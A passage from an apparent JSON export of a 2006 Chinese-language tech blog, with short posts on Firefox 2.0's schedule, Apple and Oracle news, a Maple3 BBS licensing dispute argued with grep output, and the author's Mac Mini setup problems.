    "body": "<a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 看到另外一種六度分離：找出任何兩個 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> (英文版) 條目的距離：<a href=\"http://www.boingboing.net/2006/02/05/six_degrees_how_any_.html\">Six Degrees: How any two Wikipedia entries are connected</a>。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/96218114/\"><img src=\"http://static.flickr.com/30/96218114_b4d23ca130.jpg?v=0\" alt=\"\" /></a>",
    "title": "六度分離"
  },
  {
    "id": "354",
    "body": "有人在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上面把 pre-Windows 95 (Chicago Build 58) 以及 pre-Windows XP (Windows Neptune) 抓出來鞭屍 (？)：\r\n<ul>\r\n\t<li><a href=\"http://digg.com/software/Windows_Neptune%3A_The_OS_That_Never_Was\">Windows Neptune: The OS That Never Was</a></li>\r\n\t<li><a href=\"http://digg.com/software/Windows_Chicago_Build_58_%281993%29_-_Alpha_edition_of_Windows_95\">Windows Chicago Build 58 (1993) - Alpha edition of Windows 95</a></li>\r\n</ul>\r\n看這些 Screenshot 還蠻有趣的 :p",
    "title": "pre-Windows 95 與 pre-Windows XP"
  },
  {
    "id": "355",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到的：<a href=\"http://hardware.slashdot.org/article.pl?sid=06/02/06/0410244\">Google and Skype in Startup to Link Hotspots</a>，其中報導裡的這段... XD\r\n<blockquote>\"Linus\" members, named after Linus Torvalds, who created the freely distributed Linux software, will share their hotspot with other Linus members for free.\r\n\r\n\"Bill\" members, named after Microsoft Corp. founder Bill Gates, will charge for access to their hotspot. FON will get some of that revenue, and share it with Internet service providers, or ISPs.</blockquote>",
    "title": "Google 與 Skype 的計畫"
  },
  {
    "id": "356",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a>，<a href=\"http://slashdot.org/article.pl?sid=06/02/06/1429254\">PayPal vs Google(Buy)</a>：\r\n<blockquote>Mr. Jordan (PayPal chief) says he and his team immediately \"dissected the wording\" of Google's statements. He says he doesn't believe Mr. Schmidt....</blockquote>\r\n這個好 :p",
    "title": "Google Buy"
  },
  {
    "id": "357",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/96555174/\"><img src=\"http://static.flickr.com/23/96555174_8a607762d9.jpg?v=0\" alt=\"\" /></a>",
    "title": "上上下下左右左右 ABAB"
  },
  {
    "id": "358",
    "body": "<a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到的，Firefox 2.0 第一個「比較正式的測試版」將在星期五釋出：<a href=\"http://digg.com/software/Firefox_2.0_Alpha_1_Comes_Out_Friday_\">Firefox 2.0 Alpha 1 Comes Out Friday!</a>。\r\n\r\n在 <a href=\"http://www.mozilla.org/\" rel=\"tag\">Mozilla</a> 的 <a href=\"http://wiki.mozilla.org/\" rel=\"tag\">Wiki</a> 上，<a href=\"http://wiki.mozilla.org/Firefox2\" rel=\"tag\">Firefox2</a> 這頁是這樣寫：\r\n<blockquote>Next scheduled release date: February 10, 2006 (Alpha 1)</blockquote>\r\n所以台灣時間星期六 (2006/2/11) 中午之後應該就可以在各 FTP site 看到 Alpha 1。\r\n\r\nFirefox 2.0 幾個重大的功能 (對我來說)：\r\n<ul>\r\n\t<li>Session saver 變成內建功能 (priority 2)</li>\r\n\t<li>Anti-phishing (priority 3)</li>\r\n</ul>\r\n剛好都是 TBD 負責的項目...\r\n\r\n另外附上目前在 <a href=\"http://wiki.mozilla.org/Firefox2/Schedule\" rel=\"tag\">Firefox2/Schedule</a> 排定的時程表，大約是放暑假的時候正式推出 Firefox 2.0：\r\n<ul>\r\n\t<li>2006/02/10 : Alpha 1</li>\r\n\t<li>2006/03/10 : Alpha 2 (feature complete)</li>\r\n\t<li>2006/04/07 : Beta 1 (string complete, feature frozen)</li>\r\n\t<li>2006/05/05 : Beta 2 (string frozen)</li>\r\n\t<li>2006/05/26 : Release Candidate 1</li>\r\n\t<li>2006/06/07 : Release Candidate 2</li>\r\n\t<li>2006/06/19 : Release Candidate 3</li>\r\n\t<li>2006/06/27 : Firefox 2</li>\r\n</ul>",
    "title": "Firefox 2.0 Alpha 1"
  },
  {
    "id": "359",
    "body": "有人在 <a href=\"http://www.gmail.com/\" rel=\"tag\">Gmail</a> 的 Javascript 內找到 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 可能要做的計畫：<a href=\"http://digg.com/technology/GMail_Code_Hints_at_Coming_Feature\">GMail Code Hints at Coming Feature</a>。原報導在 <a href=\"http://blogs.zdnet.com/Google/?p=95\">GMail code hints at coming domain feature</a> 這裡。\r\n\r\n寫 code 要小心 :p\r\n\r\n<strong>Update</strong>：<a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上報導了 <a href=\"http://www.gmail.com/\" rel=\"tag\">Gmail</a> 裡面的 Javascript code 確有其事：<a href=\"http://digg.com/technology/Gmail_for_your_domain\" rel=\"tag\">Gmail for your domain</a>。",
    "title": "Google Domain？"
  },
  {
    "id": "360",
    "body": "<a href=\"http://www.ibm.com/\" rel=\"tag\">IBM</a> 打算推出 4GHz ~ 5GHz 的 PPC CPU 後，有不少人有同樣的問題：<a href=\"http://apple.slashdot.org/article.pl?sid=06/02/07/2045218\">Apple Switched Chips Too Soon?</a>。\r\n\r\n當然，另外一個想法是：\r\n<blockquote>Apple too soon or IBM too late?</blockquote>\r\n不過時間點... (<a href=\"http://www.apple.com/\" rel=\"tag\">Apple</a> 是在去年六月公布 Intel Mac 的計畫)",
    "title": "PPC 4GHz ~ 5GHz"
  },
  {
    "id": "361",
    "body": "<a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">布丁</a> 這篇 <a href=\"http://hlb.yichi.org/blog/2006/02/10/51\">Call For Help: Trac on DreamHost</a> 在找人幫忙投票，如果你有 <a href=\"http://www.dreamhost.com/rewards.cgi?hasname\" rel=\"tag\">DreamHost</a> 帳號，而且覺得 <a href=\"http://www.edgewall.com/trac/\" rel=\"tag\">Trac</a> 還不錯，請您幫忙 :p\r\n\r\nPS：<a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">布丁</a> 找我投的時候我發現我早就投過了... XD",
    "title": "DreamHost 上的 Trac"
  },
  {
    "id": "362",
    "body": "由於 <a href=\"http://www.apple.com/\" rel=\"tag\">Apple</a> 在 Player (<a href=\"http://www.apple.com/ipod/\" rel=\"tag\">iPod</a>) 與網路音樂 (<a href=\"http://www.apple.com/itunes/\" rel=\"tag\">iTunes</a>) 的獨佔地位而被裁定違反反托垃斯法：<a href=\"http://digg.com/technology/Antitrust_Case_Against_Apple_Approved_\">Antitrust Case Against Apple Approved!!!</a> (<a href=\"http://digg.com/\" rel=\"tag\">Digg</a>)。\r\n\r\n原報導在 <a href=\"http://arstechnica.com/journals/apple.ars/2006/2/9/2822\">Antitrust case approved against Apple</a>、<a href=\"http://www.macnn.com/articles/06/02/09/antitrust.case.vs.aapl/\">Judge approves antitrust case vs Apple</a>、<a href=\"http://www.ehomeupgrade.com/entry/2095/northern_california_judge\">Northern California Judge Gives Green Light to Monopolization Suit Against Apple</a> 這裡。",
    "title": "反托拉斯法 - Apple"
  },
  {
    "id": "363",
    "body": "弄了一台 <a href=\"http://www.apple.com/macmini/\" rel=\"tag\">Mac Mini</a> 來熟悉 Mac 的環境，把 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 裝了起來，跟 x31 的 Windows XP 字形比較一下，果然差很多 :p\r\n\r\n操作起來不是很習慣 (應該是因為接觸 Windows 太久)，多研究看看怎麼用好了... 可能要問一些之前就在用 Mac 的長輩們有什麼要調整的 :p",
    "title": "Mac Mini"
  },
  {
    "id": "364",
    "body": "為了 de 我家小鹿鹿的 bug，被 <a href=\"http://www.gnu.org/software/gdb/\" rel=\"tag\">GDB</a> 玩好幾天... 尤其是該死的 <code>memcpy()</code>，為什麼會把 stack 弄爛呢 !@#$%^，這樣我要怎麼往上 trace 啊 -_____-\r\n\r\n<a href=\"http://www.intel.com/support/processors/pentiumiii/\" rel=\"tag\">Pentium III</a> 上的 Hardware Watchpoint 不知道能下幾個... 晚點繼續試 =_=\r\n\r\nPS：本篇純粹只是在碎碎念而已...",
    "title": "GDB"
  },
  {
    "id": "365",
    "body": "好像每一陣子就會被拿出來講...。\r\n\r\n現在大家所看到的 Maple3 並不是 opus (Original author) 或 <a href=\"http://ant.comm.ccu.edu.tw/index.php?menu=m1i1\" rel=\"tag\">Thor</a> 親自釋出的。而是透過兩個管道流出，一個是從 woju 的 FromZero (從零開始)：(<a href=\"http://bbs.unix-like.org/show.php?brdname=FB_maple&filename=/M.1009379754.A&filename_p=M.1009379753.A&filename_n=\">Re: NTHU-CS Maple 3.0 BBS ports 計畫展開！</a>、<a href=\"http://bbs.unix-like.org/show.php?brdname=FB_maple&filename=/M.1009379801.A&filename_p=&filename_n=\">Re: 想請 vanilla 幫忙做 ports</a>)，另外一個是 <a href=\"http://lkchu.blogspot.com/\" rel=\"tag\">lkchu</a> 放出來的 Maple3 (3.02 版)。\r\n\r\n現在大家在用的 Maple3 都是 <a href=\"http://lkchu.blogspot.com/\" rel=\"tag\">lkchu</a> 放出來的版本，這個版本在 <a href=\"ftp://php.twbbs.org/pub/bbs/\">ftp://php.twbbs.org/pub/bbs/</a> 下還找的到，也成為後來其他 Maple3 BBS 主要的來源 (包括了 <a href=\"http://www.kkcity.com.tw/\" rel=\"tag\">KKcity</a>、<a href=\"http://www.wretch.cc/\" rel=\"tag\">無名小站</a>、<a href=\"http://www.gamer.com.tw/\" rel=\"tag\">巴哈姆特</a>)。\r\n\r\n在 Open Source Community 的部份，目前還有繼續維護的應該只剩下 <a href=\"https://opensvn.csie.org/MapleBBSitoc/\" rel=\"tag\">MapleBBSitoc</a>。\r\n\r\n回到原來主題，有些人宣稱 Maple3 的授權不是 GPL (Ptt2，in2 板)，有些人對外宣稱 Maple3 是 Cleanroom Software (<a href=\"http://groups.google.com/group/tw.bbs.campus.nthu/msg/16d24dcd32f3f6d8\">有沒有自由軟體的同好呀...</a>)，不過，如果用 grep 掃一次當年 <a href=\"http://lkchu.blogspot.com/\" rel=\"tag\">lkchu</a> 所釋出的版本：\r\n<blockquote>gslin@netnews [~/work/bbs/src] [3:55/W4] grep -r '2\\.36' .\r\n./innbbsd/Makefile:#  innbbsd/Makefile  ( NTHU CS MapleBBS Ver 2.36 )     #\r\n./bmtad/Makefile:#  bmtad/Makefile      ( NTHU CS MapleBBS Ver 2.36 )     #\r\n./bpop3d/Makefile:#  bpop3d/Makefile    ( NTHU CS MapleBBS Ver 2.36 )     #\r\n./include/bbs.h:/* bbs.h        ( NTHU CS MapleBBS Ver 2.36 )            */\r\n./include/global.h:/* global.h  ( NTHU CS MapleBBS Ver 2.36 )            */\r\n./include/modes.h:/* modes.h    ( NTHU CS MapleBBS Ver 2.36 )            */\r\n./include/proto.h:/* proto.h    ( NTHU CS MapleBBS Ver 2.36 )            */\r\n./include/perm.h:/* perm.h      ( NTHU CS MapleBBS Ver 2.36 )            */\r\n./include/struct.h:/* struct.h  ( NTHU CS MapleBBS Ver 2.36 )            */\r\n./include/config.h:/* config.h  ( NTHU CS MapleBBS Ver 2.36 )            */\r\n./include/global.h~:/* global.h ( NTHU CS MapleBBS Ver 2.36 )            */\r\n./include/config.h~:/* config.h ( NTHU CS MapleBBS Ver 2.36 )            */\r\n./include/modes.h~:/* modes.h   ( NTHU CS MapleBBS Ver 2.36 )            */\r\n./bgopherd/Makefile:#  util/Makefile    ( NTHU CS MapleBBS Ver 2.36 )     #\r\n./maple/board.c:/* board.c      ( NTHU CS MapleBBS Ver 2.36 )            */\r\n./maple/cache.c:/* cache.c      ( NTHU CS MapleBBS Ver 2.36 )            */\r\n./maple/edit.c:/* edit.c        ( NTHU CS MapleBBS Ver 2.36 )            */\r\n./maple/mail.c:/* mail.c        ( NTHU CS MapleBBS Ver 2.36 )            */\r\n./maple/xover.c:/* xover.c      ( NTHU CS MapleBBS Ver 2.36 )            */\r\n./maple/Makefile:#  Makefile    ( NTHU CS MapleBBS Ver 2.36 )            #\r\n./maple/bso/Makefile:#  Makefile        ( NTHU CS MapleBBS Ver 2.36 )            #\r\n./maple/bso/vote.c:/* vote.c    ( NTHU CS MapleBBS Ver 2.36 )            */\r\n./maple/bso/chat.c:/* chat.c    ( NTHU CS MapleBBS Ver 2.36 )            */\r\n./util/hdr-dump.c:/* util/hdr-dump.c    ( NTHU CS MapleBBS Ver 2.36 )    */\r\n./util/mail.acl:110542.3651@compuserve.com SPAM # Jan 12 03:27:54 17 (110)\r\n./util/mailpost.c:/* util/mailpost.c    ( NTHU CS MapleBBS Ver 2.36 )    */\r\n./util/Makefile:#  util/Makefile        ( NTHU CS MapleBBS Ver 2.36 )     #</blockquote>\r\n呃... Cleanroom？\r\n\r\n如果你有改過 Maple2 與 Maple3 的 source code，應該還會發現裡面某些 function 根本是直接抄 Maple2 的。如果你有翻 <code>src/lib/</code> 下的東西，還可以發現某些 BSD license code (但是卻沒有把 license 的部份附上，參考 <code>src/lib/</code> 下 <code>xsort()</code>)\r\n\r\n這個問題，應該很明顯了吧...",
    "title": "Maple3 的軟體授權問題"
  },
  {
    "id": "366",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到的新聞：<a href=\"http://it.slashdot.org/article.pl?sid=06/02/11/2259232\">Microsoft Anti-Spyware Removes Norton Anti-Virus</a>，原報導在 <a href=\"http://blog.washingtonpost.com/securityfix/2006/02/microsoft_antispyware_deleting_1.html\">Microsoft Anti-Spyware Deleting Norton Anti-Virus</a> 這篇。\r\n\r\n沒有做測試就丟出來了...？",
    "title": "微軟的 Anti-Spyware 軟體把 Norton Anti-Virus 判為木馬"
  },
  {
    "id": "367",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到日本麥當勞的廣告：<a href=\"http://digg.com/technology/McDonalds_in_Japan_uses_sex_to_sell_burgers_%28video%29\">McDonalds in Japan uses sex to sell burgers (video)</a>，如果同樣類型的廣告也在台灣播放的話不知道會怎樣 XD\r\n\r\n這段廣告的影片在 <a href=\"http://youtube.com/\" rel=\"tag\">Youtube</a> 上：<a href=\"http://youtube.com/watch.php?v=H-pOdUk6oS4\">McDonalds Japan McGrand Tomato CM</a>。",
    "title": "麥當勞在日本的廣告"
  },
  {
    "id": "368",
    "body": "Whois Query 的記錄被濫用：<a href=\"http://digg.com/links/Thinking_about_registering_a_domain_Don_t_check_if_it_s_available_\">Thinking about registering a domain? Don't check if it's available!</a>。\r\n\r\n這些提供 Whois Query 的公司會記錄有哪些關鍵字被搜尋，然後在裡面挑一些好的名字註冊起來。所以如果你真的需要查是否有被註冊，用 Unix 下的 <code>whois</code>，而不要用這些 Search Engine 提供的功能會比較好...",
    "title": "Whois Query 記錄被濫用"
  },
  {
    "id": "369",
    "body": "第一步：<a href=\"http://blog.yam.com/develop/archives/1113583.html\">文章回應Html tag,Javascript過濾</a>。不知道會不會有第二步，把某些可以用 GET 的部分處理一下...\r\n\r\nPS：據說無名的 XSS 還是沒修完啊...",
    "title": "樂多對於 XSS 的第一步"
  },
  {
    "id": "370",
    "body": "剛剛在 nctu 板上看到的資料：(<a href=\"http://www.aloha168.com.tw/time2.htm\">www.aloha168.com.tw/time2.htm</a>)\r\n<blockquote>本公司將於每個星期五、日兩天，爲交通大學 教職員、學生，派專車運送回北部、南部返鄉，目前試辦開始的車輛數為：\r\n星期五：新竹往高雄3部車、新竹往嘉義2部車、新竹往台北2部車。\r\n星期日：高雄往新竹1部車，嘉義往新竹1部車、台北往新竹2部車。</blockquote>\r\n看起來還不錯 o_O",
    "title": "阿羅哈客運的專車"
  },
  {
    "id": "371",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上看到可以讓 <a href=\"http://www.apple.com/macmini/\" rel=\"tag\">Mac Mini</a> 使用雙螢幕的工具：<a href=\"http://digg.com/apple/Mac_mini_with_Dual_Displays\">Mac mini with Dual Displays</a>。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/99080957/\"><img src=\"http://static.flickr.com/21/99080957_843ce28061.jpg?v=0\" alt=\"\" /></a>\r\n\r\n其實那個盒子就是拐 MacOS，告訴他有一顆 2560x1024 (或其他類似的) 的螢幕。然後再把訊號拆開，輸出到實際的兩個螢幕上...\r\n\r\n<strong>Update</strong>：在 <a href=\"http://voice.firefallpro.com/2006/02/mac-mini-dual-monitors-using.html\">Mac mini dual monitors using DualHead2Go</a> 有提到，需要 <a href=\"http://www.madrau.com/html/SRX/indexSRX.html\" rel=\"tag\">SwitchResX</a> 這套軟體設定 2560x1024：\r\n<blockquote>once you receive all the hardware, you simply plug it up in the (somewhat) natural way, mini to dualhead2go, out to two monitors. I added the custom resolution to the system using the <a href=\"http://www.madrau.com/html/SRX/indexSRX.html\" rel=\"tag\">SwitchResX</a> tool, which has a free 15 day trial, and then costs $15. This process is fairly painless. You simply open up the SwitchRes control, and in the Resolutions tab hit Custom, then New. Put in 2560 for Horizontal, and 1024 for Vertical, hit Ok, and you're good to go! Shut down your mini, then hook up the Matrox box, restart, and you should be putting along in dualscreen mode.</blockquote>",
    "title": "Mac Mini 雙螢幕"
  },
  {
    "id": "372",
    "body": "在 <a href=\"http://glinden.blogspot.com/2006/02/oracle-to-buy-sleepycat.html\">Greg Linden 的 Blog</a> 上看到 <a href=\"http://www.oracle.com/\" rel=\"tag\">Oracle</a> 想要買下 <a href=\"http://www.sleepycat.com/\" rel=\"tag\">Sleepycat</a> (也就是目前搞 Berkeley DB 的公司) 的新聞：<a href=\"http://glinden.blogspot.com/2006/02/oracle-to-buy-sleepycat.html\">Oracle to buy Sleepycat?</a>。原新聞在 <a href=\"http://www.businessweek.com/\" rel=\"tag\">BusinessWeek</a>：<a href=\"http://www.businessweek.com/technology/content/feb2006/tc20060209_810527.htm\">Oracle's Open-Source Shopping Spree</a>。\r\n\r\n如果成真，<a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL</a> 又有一個 Backend 被買走... (上次是 <a href=\"http://www.innodb.com/\" rel=\"tag\">InnoDB</a>，<a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL</a> 目前唯一支援 Row-Locking 的 Backend)\r\n\r\n<strong>Update</strong>：<a href=\"http://www.sleepycat.com/\" rel=\"tag\">Sleepycat</a> 【已經】被 <a href=\"http://www.oracle.com/\" rel=\"tag\">Oracle</a> 買下了，參考：<a href=\"http://www.marketwatch.com/News/Story/Story.aspx?guid=%7B4FF41DA9%2D6714%2D4ABD%2D9A6C%2DD8EA81688D51%7D\">Oracle buys Sleepycat Software</a>。",
    "title": "Oracle 與 Sleepycat 的消息"
  },
  {
    "id": "373",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到的 XD\r\n\r\n十個程式設計師絕對不會/不該遵守的原則：<a href=\"http://digg.com/programming/Top_Ten_List_of_Programming_Advice_to_NOT_Follow\">Top Ten List of Programming Advice to NOT Follow</a>，原來的文章在 <a href=\"http://www.chrylers.com/weblog/topten.php\">Top Ten of Programming Advice to NOT follow</a> 這。\r\n\r\n在文中抱怨這十項原則不切實際，所以不該遵守。(反正你也不會遵守，只是不要為此感到愧疚 XD)",
    "title": "十個程式設計師絕對不會/不該遵守的原則"
  },
  {
    "id": "374",
    "body": "在 <a href=\"http://jeremy.zawodny.com/\" rel=\"tag\">Jeremy Zawodny</a> 那邊看到 <a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo!</a> 把一堆 Javascript code 整理出來，以 <a href=\"http://www.opensource.org/licenses/bsd-license.php\" rel=\"tag\">3-clause BSD license</a> 放出，可以拿來參考用：<a href=\"http://developer.yahoo.net/yui/\" rel=\"tag\">Yahoo! UI Library</a>。\r\n\r\n<strong>Update</strong>：<a href=\"http://simon.incutio.com/\" rel=\"tag\">Simon Willison</a> 寫了一篇 <a href=\"http://simon.incutio.com/archive/2006/02/14/ui\">Yahoo! UI JavaScript treats</a> 講的比較詳細，而且文後有一個小範例 (Animation 的範例)，告訴你很好用 :p",
    "title": "Yahoo! UI &amp; Design Patterns"
  },
  {
    "id": "375",
    "body": "<a href=\"http://www.bitcomet.com/\" rel=\"tag\">BitComet</a> 0.62 的 Release Note：\r\n<ul>\r\n\t<li>GUI Improved: add the ability to fetch remote channel xml file and display its items in favourite bar</li>\r\n\t<li>GUI Improved: adjust the toolbar position of embedded browser</li>\r\n\t<li>GUI Bugfix: fix the bug that sometimes the embedded browser can't handle BCTP link properly</li>\r\n\t<li>GUI Bugfix: fix the bug that sometimes the task name displayed as the http link of torrent file</li>\r\n\t<li>GUI Bugfix: fix the bug that sometimes the task status displayed as failed after DHT torrent download finished successfully</li>\r\n\t<li>Core Improved: user favourite data file changed from .\\fav\\my_fav.xml to .\\Favourite.xml</li>\r\n\t<li>Core Bugfix: fix possible crash when exit program while hashing</li>\r\n\t<li>Core Bugfix: fix possible crash when detects WMP version at BitComet startup</li>\r\n\t<li>Core Bugfix: fix possible memory access violation when remove task after DHT torrent file download finished</li>\r\n</ul>\r\n1/28 的漏洞 (我在 <a href=\"/archives/2006/01/28/328/\">BitComet 安全漏洞</a> 這篇有提過)，拖了這麼久... Changelog 上面卻沒看到修正記錄？",
    "title": "BitComet 0.62"
  },
  {
    "id": "376",
    "body": "在 <a href=\"http://photomatt.net/\" rel=\"tag\">Photo Matt</a> 那邊看到 <a href=\"http://30boxes.com/\" rel=\"tag\">30 Boxes</a> (一個 AJAX Calendar)：<a href=\"http://photomatt.net/2006/02/02/30-boxes/\">30 Boxes</a>。\r\n\r\n丟了一些 event 進去測看看，用 AJAX 的東西果然有 Web 2.0 的感覺... 不過這東西的 bug 也頗有 Web 2.0 的風範 (寫這句的時候讓我想到在 <a href=\"http://blog.23corner.com/\" rel=\"tag\">shakalaka</a> 那邊看到的文章 (其實是圖片)：<a href=\"http://blog.23corner.com/2006/01/15/1175/\">Web 1.0 與 Web 2.0 的不同</a>)。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/99653897/\"><img src=\"http://static.flickr.com/33/99653897_c3b150dbe8.jpg?v=0\" alt=\"\" /></a>\r\n\r\n有些地方是設計上的問題，造成操作起來頗不方便 (這可能是因為 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 用習慣了，想要改什麼，就直接在文字上面按一下，那個區塊就變成可以修改的狀態)，另外一個奇怪的問題就是對中文支援的程度：在 Events 的地方可以打中文，但是在 Notes 的地方就會亂掉？輸入的時候是正常的，像這樣：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/99651779/\"><img src=\"http://static.flickr.com/37/99651779_fc89d0adce.jpg?v=0\" alt=\"\" /></a>\r\n\r\n可是存進去以後可以發現有問題：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/99652700/\"><img src=\"http://static.flickr.com/43/99652700_6bd3cbfa87.jpg?v=0\" alt=\"\" /></a>\r\n\r\n<del datetime=\"2006-02-16T05:00:48+00:00\">頁面是 UTF-8 沒錯，後端沒有設好？</del>好像是首頁部份 encoding 沒設定好而已，因為我在其他頁可以看到？\r\n\r\n另外他可以讓你訂閱 (只有 read-only 權限)，像是用 iCalendar 看：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/100319483/\"><img src=\"http://static.flickr.com/24/100319483_ca3caae6a3.jpg?v=0\" alt=\"\" /></a>\r\n\r\n不過我發現他沒有讀取到四月以及更後面的資料 XD 只是拿來提醒用的 :p 其實我比較希望像 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 與 <a href=\"http://ranchero.com/netnewswire/\" rel=\"tag\">NetNewsWire</a> 一樣，可以直接在 Application 裡面修改...\r\n\r\n不管怎樣，還是很有潛力的 Web Calendar :p\r\n\r\n<strong>Update</strong>：結果 <a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">hlb</a> 說他幹剿過了 XD 在 <a href=\"http://30boxes.com/forum/viewtopic.php?t=287\">encoding problem in 'Notes' field</a> 這裡。\r\n\r\n<strong>Update</strong>：目前這個問題討論得比較熱烈了... 其他國家語言也有類似的問題 :)",
    "title": "30 Boxes - Web Calendar"
  },
  {
    "id": "377",
    "body": "拿到 <a href=\"http://www.apple.com/macmini/\" rel=\"tag\">Mac Mini</a> 後不斷在熟悉 Mac 上的環境，不過還是有一些問題沒解決：\r\n\r\n鍵盤的 Home 與 End 在一般的應用程式裡沒有辦法使用，我本來在猜是不是 Keyboard/Mouse 的地方設定錯了，但是...\r\n\r\n<strong>Update</strong>：在 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 裡可以用 Cmd-Left 或 Cmd-Right 跳到頭或尾，thanks :)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/99735911/\"><img src=\"http://static.flickr.com/29/99735911_331dc3857c.jpg?v=0\" alt=\"\" /></a>\r\n\r\n沒錯，Keyboard/Mouse 設定出不來 :p\r\n\r\n再來是講 Mac 上 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 的問題，我用的是 1.5.0.1 官方提供的繁體中文版。首先，我遇到掉字的問題：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/99736724/\"><img src=\"http://static.flickr.com/38/99736724_034128ebca.jpg?v=0\" alt=\"\" /></a>\r\n\r\n所幸在目前只有選單會掉，所以不會造成太大的問題... 我知道有所謂的【換 Theme 大密技】，或是【把 Extension 移光光】之類的方法，不過... 1) 我不想換 Theme，2) 用 <a href=\"http://www.mozilla.org/firefox/\" rel=\"tag\">Firefox</a> 就是要用他的 Extension 啊... 而且據說這個問題在好久前就有，我也不知道為什麼沒改好 XD\r\n\r\n再來是 <a href=\"http://www.mozilla.org/firefox/\" rel=\"tag\">Firefox</a> + <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 的問題：在編輯文章時我常常會用 Hotkey (我不用 WYSIWYG 界面編輯器)，在 Windows 上我可以用 Alt-A 設定 Hyperlink (其實就是加上 &lt;a href=\"\"&gt;&lt;/a&gt; 而已)，Alt-B 設定粗體 (&lt;b&gt;&lt;/b&gt;)，以及其他類似的 Hotkey。但在 Mac 上似乎沒辦法使用類似的功能：好像都被神祕程式攔走了。\r\n\r\n<strong>Update</strong>：<a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">hlb</a> 告訴我改用 Ctrl 就可以了，試了一下果然是這樣沒錯 :D\r\n\r\n然後再來講 <a href=\"http://iterm.sourceforge.net/\" rel=\"tag\">iTerm</a> 這個 Terminal Client，由於我跟 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 一樣，需要使用 CLI 才能活 (參考 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 的 <a href=\"http://blog.ijliao.info/archives/2004/11/29/860/\">iTerm</a> 這篇)，所以我也跑去裝了 <a href=\"http://iterm.sourceforge.net/\" rel=\"tag\">iTerm</a> 0.8.1。\r\n\r\n裝完以後把顏色什麼的設一設，字形 (黑體) 編碼 (我用 Big5 HK。我很久前換過 UTF-8 環境，不過發現換 UTF-8 環境最大的好處只有在收 Spam 的時候：你可以正確的讀出對岸的 Spam 內容，以及日本、俄國的。所以我就又換回 Big5 了)，設定完以後連上去，也跟 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 遇到同樣的問題：<a href=\"http://www.gnu.org/software/screen/\" rel=\"tag\">screen</a> 會幫你 resize，不過這個還好，我跟 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 也用同樣的解法...。\r\n\r\n另外，<a href=\"http://konst.org.ua/centericq/\" rel=\"tag\">CenterICQ</a> 的邊框是錯的，這個畫面在 Windows 上的 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\" rel=\"tag\">PuTTY</a> 是正確的 (而且線都接起來，很漂亮)：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/99741538/\"><img src=\"http://static.flickr.com/29/99741538_4c2b5b5b38.jpg?v=0\" alt=\"\" /></a>\r\n\r\n另外一張是 Ptt2 BBS，有新文章未讀的看板沒有對齊，應該是把勾勾當成 1 Byte 處理的原因：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/99741539/\"><img src=\"http://static.flickr.com/27/99741539_1e918e5a2b.jpg?v=0\" alt=\"\" /></a>\r\n\r\n除此之外，<a href=\"http://iterm.sourceforge.net/\" rel=\"tag\">iTerm</a> 還有一個超奇怪的問題：你裝完 <a href=\"http://iterm.sourceforge.net/\" rel=\"tag\">iTerm</a>，第一次設定過字形、編碼、blah blah 後，存起來。下次要改的時候寫不進去 XD\r\n\r\n我的解法是在要改設定的時候到 <code>~/Library/Preferences/</code> 下把 <code>iTerm.plist</code> 砍掉，於是砍掉就可以設定了。(當然，砍一次只能設定一次，不然我就不會跑出來哀哀叫了 :D)\r\n\r\n零零總總的，目前大概就遇到這些問題吧，我只是要 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 可以用、某個 Terminal 可以用 (讓我能夠用 ssh 連出去正確的看到東西)，這樣就好了 :p\r\n\r\n也許晚點來裝交大授權的 Office 2004，看看會不會有奇怪的問題...",
    "title": "Mac 下遇到的問題..."
  },
  {
    "id": "378",
